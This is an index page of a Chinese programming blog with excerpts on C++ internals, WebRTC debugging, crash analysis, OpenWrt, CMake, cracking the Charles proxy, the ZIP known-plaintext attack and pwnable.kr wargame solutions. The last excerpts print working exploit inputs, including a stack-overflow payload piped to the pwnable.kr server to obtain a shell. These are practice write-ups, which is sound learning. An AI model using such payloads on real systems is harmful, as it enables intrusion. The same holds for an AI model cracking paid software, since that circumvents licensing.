分类： <span>程序</span>

msvc c++ 虚函数在虚表中的顺序

2024年12月12日
Debug
0 条评论

通常我们会认为 c++ 程序中，类的虚函数总是严格按照类中的声明顺序排列，但最近我在查看一个虚函数的调用时却发现并不如此。如果虚函数有候选的重载，那它的顺序实际可能和声明的顺序不一样。

比如下面一个简单的类

阅读更多

被 Zscaler 干扰的 WebRTC 连接

2024年11月24日
Debug
0 条评论

公司前段时间做了个功能，本地客户端会启动一个 webview 窗口，并通过它和本机浏览器上的一个页面建立 WebRTC 通信，然后互相交换数据。本地的 webview 会借助客户端的通信能力，和浏览器上的网页各自接收服务器的消息，满足条件后就可以借助服务器交换 icecandidate 和 sdp，随后建立连接。
但是我们在使用过程中发现了问题，Mac 机器的 WebRTC 无法成功建立。因为公司的机器上安装了 Zscaler，它是个网络流量监控和代理的工具，所以很快怀疑到它身上，测试一下发现把它退了后就能成功连接了。另外 windows 系统并没有受到它影响，退不退 Zscaler 都可以连接。

阅读更多

部分 Crash 分析记录

2024年7月13日
Debug
0 条评论

想着记录一下平时分析过的 crash dump，作为一个总结和参考。不过因为涉及到公司代码，所以一些细节没法描述太明白，crash 堆栈和对应的源代码也不方便贴出来了。这里先整理了几个比较有代表性的，其他一眼就能看出问题的就不写到这里了。

2023.Q3 ui 代码没有清理 framework api 指针

当用户开启计算机锁屏时自动切断 channel 的策略并触发了锁屏行为后，UI 会调用 api 切断所有 channel，并且立即清理上层保存的数据，但问题就在这个清理上。
原本调用触发切断的 api 后会有一个回调通知，上层是在回调里做清理动作的。但是现在代码中主动调用了一个 channel_mgr.Clear();，这个 Clear() 函数里清理的不完全，相比之下另一个成员函数 Delete(channel_id) 才是做到了彻底清理。同时回调函数里还做了许多额外的清理操作，这里一个 Clear() 把其他操作也都忽略掉了。
其实究其原因就是外部保存了 ChannelItem 的裸指针，但是又存在这样一个 corner case 没有将它清理掉，等 ChannelItem 实例析构后这个指针就野了。关键在于怎么发现这个代码路径。
因为 framework 层在释放前总是会通过回调函数通知 UI 清理，费好大劲排除 framework 没有漏掉的地方后把目标放到了 UI 上。来来回回翻代码后才发现这个地方。

阅读更多

C++ 异步编程框架

2024年4月7日
程序
0 条评论

之前公司项目中一直没有方便好用的异步编程框架，在开发过程中会遇到一些问题。比如多线程编码时开发需要自己管理线程，并在两侧同步数据。一些操作也会被直接放在主线程中，就算单个操作的耗时并不明显，长此以往也会积少成多，最终拖慢了 UI 的速度。

但好在公司的代码库已经支持 C++11，我们基于 C++11 开发了一个仅使用标准库的框架。这样既能简化业务开发时的代码工作量，也可以提高代码的可读性，而且使用 std 组件实现也方便支持所有平台。更进一步的话还可以给框架加入其他支持，如：

  • task 优先级
  • task 延迟调用、重复调用，并可自定义调用间隔等属性
  • 指定多个 task 在同一个线程中运行
阅读更多

用虚拟机搭建 OpenWrt 透明代理

2023年6月1日
程序
0 条评论

因为有些软件不支持主动设置代理，所以有时候还得开个透明代理，在实际买设备前先用虚拟机安装 OpenWrt 实验一把。
一开始想着去找那些有一键设置的工具或脚本，结果来回折腾花了不少时间，最后还是参考这里的教程搞定了。

准备镜像

  1. 下载目前最新的 OpenWrt 镜像
  2. 解压得到 *.img，记为 op.img
  3. （可选）用这个镜像安装后的默认可用空间只有 100M，比较捉鸡。为了方便后续安装各种软件先做个扩容：到 Linux 系统下或用 wsl，运行 dd if=/dev/zero bs=1M count=2048 >> op.img，将镜像扩容到 2G
    4. 阅读更多

使用 Cmake 生成项目的工程文件

2022年12月20日
程序
0 条评论

构建系统描述了如何使用构建工具从项目的源代码构建项目的可执行文件和库，从而自动执行该过程。例如，构建系统可以是用于命令行 make 工具的 Makefile 或用于集成开发环境的项目文件。为了避免维护多个这样的构建系统，项目可以使用以 CMake 语言编写的文件抽象地指定其构建系统。从这些文件中，CMake 通过称为生成器的后端为每个使用者在本地生成一个首选的构建系统。

另外，在 c++ 代码的跨平台使用中，包括增减文件在内，任何其他涉及项目工程的改动都要各个平台的开发同步处理各自平台的工程。而一旦某个平台没有及时更新项目文件就可能会导致 CI/CD 自动化流程失败，非常影响工作效率。

为避免费时费力地维护多个这样的构建系统，可以选择用 CMake 对其进行抽象。这样我们只需要维护一个 CMakeLists.txt，它就可以为你生成指定的 vcxproj 文件或者 makefile 文件。然后调用 MSBuild 或者 make 进行编译就可以。

阅读更多

Charles 破解

2022年7月7日
逆向
1 条评论

Charles 是常用的抓包软件，可以用于分析 http(s) 流量，使用 Java 编写。目前最新版是 4.6.2，来试下它的破解。

工具

Java Decompiler 反编译 Java 字节码 https://github.com/java-decompiler/jd-gui/releases
Recaf 编辑 Java 字节码 https://github.com/Col-E/Recaf/releases
阅读更多

ZIP 明文攻击原理

2021年12月14日
程序
0 条评论

在看 CTF 时发现了 zip 明文攻击的攻击方式，然而举的例子里基本都是使用工具——也就是 ARCHPR 简单完成破解，转而进行下一步操作，对明文攻击本身并没有做更多解释。本想看看 ARCHPR 的明文攻击实现的，结果发现这东西是商业软件……于是开始找其他资料。

简单搜了一圈发现这种攻击是基于 Biham 和 Kocher 在 94 年发表的论文《A Known Plaintext Attack on the PKZIP Stream Cipher》实现的。

明文攻击主要利用大于 12 字节的一段已知明文数据进行攻击，从而获取整个加密文档的数据。也就是说，如果我手里有一个未知密码的压缩包和压缩包内某个文件的一部分明文（不一定非要从头开始，能确定偏移就行），那么我就可以通过这种攻击来解开整个压缩包。比如压缩包里有一个常见的 license 文件，或者是某个常用的 dll 库，或者是带有固定头部的文件（比如 xml、exe、png 等容易推导出原始内容的文件），那么就可以运用这种攻击。当然，前提是压缩包要用 ZipCrypto 加密。

阅读更多

pwnable.kr 练习（二）

2021年9月8日
程序
0 条评论

Toddler’s Bottle

leg

关键在于 pc 的计算。不像 x86 里 pc 总是指向下一条指令的地址，ARM 中的 pc 是下下条。假设当前指令地址为 x，即

  • ARM 模式：pc = x + 8
  • Thumb 模式：pc = x + 4

按这个规则计算得到 key1() + key2() + key3() = 0x8ce4 + 0x8d0c + 0x8d80 = 0x1A770，输入就好了

108400

mistake

因为运算符优先级问题，fd 被赋值成 0，也就是 stdin，和 password 文件就没有关系了，可以输入

1111111111
0000000000
阅读更多

pwnable.kr 练习（一）

2021年8月8日
程序
0 条评论

Toddler’s Bottle

col

./col "$(python -c 'from struct import pack;print "0"*16 + pack("<I", 0x611c492c)')"

bof

一开始不熟悉输入处理，花了不少时间……echo 后面追加 cat 可以使输入流关闭，成功获得 shell。（PS：一开始拿到了 shell 还不自知……）不加 cat 的话则会提示 *** stack smashing detected ***: terminated

(echo "$(python -c 'from struct import pack;print "A"*52 + pack("<I", 0xcafebabe)')";cat) | nc pwnable.kr 9000
阅读更多